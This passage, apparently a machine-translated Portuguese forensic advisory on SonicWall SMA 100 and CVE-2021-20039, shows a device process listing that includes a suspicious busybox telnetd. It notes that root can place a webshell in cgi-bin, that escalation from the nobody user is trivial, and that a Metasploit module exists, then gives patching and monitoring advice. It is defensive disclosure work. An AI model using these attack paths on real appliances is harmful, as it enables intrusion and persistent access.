raiz 1551 0,0 0,2 20720 11124 ? Ss 27 de novembro 1:42 /usr/src/EasyAccess/bin/smm -d
raiz 1627 0,0 0,0 1904 224 ? Ss 27 de novembro 0:00 /usr/sbin/ntpUpdate -d -i 3600 -p time.nist.gov -s time.windows.com
raiz 1634 0,0 0,0 2120 596 ? Ss 27 de novembro 0:00 /usr/sbin/syslogd -m 0
raiz 1639 0,0 0,0 3136 1684 ? Ss 27 de novembro 0:00 /usr/sbin/klogd -c 1
raiz 1712 0,0 0,0 13208 1980 ? Ss 27 de novembro 0:00 /usr/sbin/crlUpdate -d -i 1440
root  	1719  0.0  0.0  13828  1968 ?    	Ss   Nov27   0:03 htcacheclean -nti -d60 -l5M -p/var/webcache
raiz 1735 0,0 0,0 13164 1740 ? Ss 27 de novembro 0:00 /usr/src/EasyAccess/bin/anonySessionD
raiz 1737 0,0 0,0 13164 1492 ? S Nov27 0:00 /usr/src/EasyAccess/bin/anonySessionD
raiz 1740 0,0 0,0 14320 3484 ? Ss 27 de novembro 0:00 /usr/src/EasyAccess/bin/firebase -d
raiz 1748 0,0 0,3 45472 15316 ? Sl Nov27 0:00 /usr/bin/node /usr/src/EasyAccess/bin/js/master.js
raiz 1749 0,0 0,0 2080 268 ? S 27 de novembro 0:00 gato
raiz 1752 0,0 0,3 45308 15408 ? Sl Nov27 0:00 /usr/bin/node --debug-port=5859 /usr/src/EasyAccess/bin/js/ssoProxy.js
raiz 1760 0,0 0,0 13616 2116 ? Ss 27 de novembro 0:00 /usr/src/EasyAccess/bin/wireguard -d
raiz 1779 0,8 0,2 23468 8940 ? Ss 27 de novembro 21:47 /usr/src/EasyAccess/bin/httpd
raiz 1805 0,0 0,0 13852 2556 ? Ss 27 de novembro 0:00 /usr/src/EasyAccess/bin/ftpsession -d
raiz 1811 0,1 0,0 13916 3936 ? S<s Nov27 2:51 /usr/src/EasyAccess/bin/graphd -d
raiz 1820 0,0 0,0 13356 1816 ? Ss 27 de novembro 0:00 /usr/src/EasyAccess/bin/rootHelper -d
raiz 1832 0,0 0,0 54412 2548 ? Ssl Nov27 0:04 /usr/src/EasyAccess/bin/dhcpcd -d
raiz 1851 0,0 0,1 15968 5260 ? Ss 27 de novembro 0:06 /usr/src/EasyAccess/bin/nxlog -d
raiz 1867 0,0 0,0 13304 3152 ? S Nov27 0:00 /usr/src/EasyAccess/bin/downloadclient -d
raiz 1893 0,0 0,0 13204 2512 ? S Nov27 0:00 /usr/sbin/LicenseManager
raiz 1894 0,0 0,0 13200 2600 ? S Nov27 0:00 /usr/sbin/PKGDownload
raiz 1897 0,0 0,0 13772 3708 ? Ss 27 de novembro 0:16 /usr/src/EasyAccess/bin/HA -d
raiz 1922 0,0 0,1 15224 5976 ? Ss 27 de novembro 0:00 /usr/sbin/updateAgent -d
raiz 1923 0,0 0,0 13172 2556 ? S Nov27 0:06 /usr/sbin/watchdog
raiz 1924 0,0 0,1 13708 4948 ? S Nov27 0:14 /usr/sbin/swMonitor
raiz 2205 0,0 0,0 0 0 ? S Nov28 0:00 [kworker/u4:2]
root 2379 0,0 0,0 2048 432 tty1 Ss+ Nov27 0:00 /sbin/mingetty tty1
root 2380 0,0 0,0 2048 432 tty2 Ss+ Nov27 0:00 /sbin/mingetty tty2
raiz 4284 0,0 0,0 1136 64 ? Ss 27 de novembro 0:00 ./busybox telnetd
root 4301 0,0 0,0 3564 1768 pts/0 Ss+ Nov27 0:00 -cli
root 4346 0,0 0,0 3488 1752 pts/1 Ss Nov27 0:00 -cli
ninguém 18542 0,0 0,2 25772 12268 ? S 07:41 0:00 /usr/src/EasyAccess/bin/httpd
ninguém 21363 0,0 0,7 44288 29776 ? S 08:19 0:01 /usr/src/EasyAccess/bin/httpd
ninguém 24039 0,0 0,7 44344 30100 ? S 08:55 0:00 /usr/src/EasyAccess/bin/httpd
ninguém 24259 0,0 0,7 44288 29776 ? S 08:58 0:01 /usr/src/EasyAccess/bin/httpd
ninguém 27511 0,0 0,7 44340 30128 ? S 09:42 0:01 /usr/src/EasyAccess/bin/httpd
ninguém 30092 0,0 0,2 25772 12200 ? t 03:01 0:00 /usr/src/EasyAccess/bin/httpd
ninguém 30331 1,1 0,7 44284 29316 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd
ninguém 30382 0,0 0,2 25700 11904 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd
ninguém 30391 0,0 0,2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd
ninguém 30392 0,0 0,2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd
ninguém 30394 0,0 0,2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd
ninguém 30395 0,0 0,2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd
ninguém 30396 0,0 0,2 25700 11908 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd
ninguém 30397 0,0 0,2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd
raiz 30465 2,0 0,1 13776 4612 ? S 10:21 0:00 /usr/src/EasyAccess/www/spog/exportDiagnostics
raiz 30599 0,0 0,0 3480 1420 ? S 10:21 0:00 sh -c ps awux>>/tmp/status.txt 2>&1
raiz 30600 0,0 0,0 2556 880 ? R 10:21 0:00 ps awux

Finalmente, é importante notar que o rootusuário tem acesso de gravação ao diretório cgi-bin do servidor web ( /usr/src/EasyAccess/www/cgi-bin/) o que pode permitir que ele carregue um webshell para o sistema. Conforme observado anteriormente, o escalonamento para root por meio do nobodyusuário é bastante trivial. Como tal, revisar o http_request.logacesso potencial a um webshell pode ser benéfico. No entanto, as modificações cgi-binnão persistirão entre as reinicializações (embora um sistema reinicializado seja confiável após a exploração seja outra questão).

Publicamos um módulo Metasploit para CVE-2021-20039 (injeção de comando autenticada como root) que pode permitir uma análise forense mais profunda. No entanto, é aconselhável considerar que tipo de efeito forense você está tendo em um sistema explorando-o você mesmo.

Orientação

Aplique os patches fornecidos pela SonicWall. Se possível, limite a exposição do dispositivo a entidades válidas e ative um WAF que impeça qualquer tipo de ataque de adivinhação de endereço. Revise regularmente os logs do sistema para exploração potencial. Quando possível, aplique a orientação da SonicWall para as práticas recomendadas de segurança da série SMA 100 .